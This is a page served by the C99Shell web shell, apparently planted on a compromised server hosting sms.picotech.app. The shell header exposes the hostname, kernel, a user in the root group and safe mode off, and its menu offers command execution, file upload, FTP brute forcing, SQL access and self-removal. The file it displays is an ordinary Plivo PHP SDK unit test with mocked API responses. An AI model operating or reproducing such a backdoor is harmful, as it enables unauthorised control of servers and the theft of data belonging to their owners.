!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/tests/Resources/   drwxr-xr-x
Free 29.18 GB of 117.98 GB (24.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ApplicationTest.php (2.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Resources;


use 
Plivo\Http\PlivoRequest;
use 
Plivo\Http\PlivoResponse;
use 
Plivo\Tests\BaseTestCase;

/**
 * Class ApplicationTest
 * @package Resources
 */
class ApplicationTest extends BaseTestCase
{
    function 
testApplicationCreate()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Application/',
            [
                
'app_name' => 'app'
            
]);
        
$body file_get_contents(__DIR__ '/../Mocks/applicationCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->applications->create('app');

        
$this->assertRequest($request);

        
self::assertNotNull($actual);
        
        
self::assertEquals($actual->_message"created");
        
self::assertEquals($actual->appId"20468599130939380");
        
self::assertEquals($actual->apiId"99f9d6f6-3f08-11e7-9fd1-06660ad2b8e6");
    }

    function 
testApplicationList()
    {
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Application/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/applicationListResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->applications->list;

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        foreach (
$actual as $actualApplication) {
            
self::assertEquals(substr($actualApplication->resourceUri033), "/v1/Account/MAXXXXXXXXXXXXXXXXXX/");
        }
    }

    function 
testApplicationDetails()
    {
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Application/20468599130939380/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/applicationGetResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->applications->get("20468599130939380");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->getId(), "20468599130939380");
    }

    function 
testApplicationUpdate()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Application/app/',
            [
                
'subaccount' => "name"
            
]);
        
$body file_get_contents(__DIR__ '/../Mocks/applicationModifyResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->applications->update("app", ['subaccount'=>'name']);

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->apiId"9b43ea74-3f08-11e7-8bc8-065f6a74a84a");
        
self::assertEquals($actual->message"changed");

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--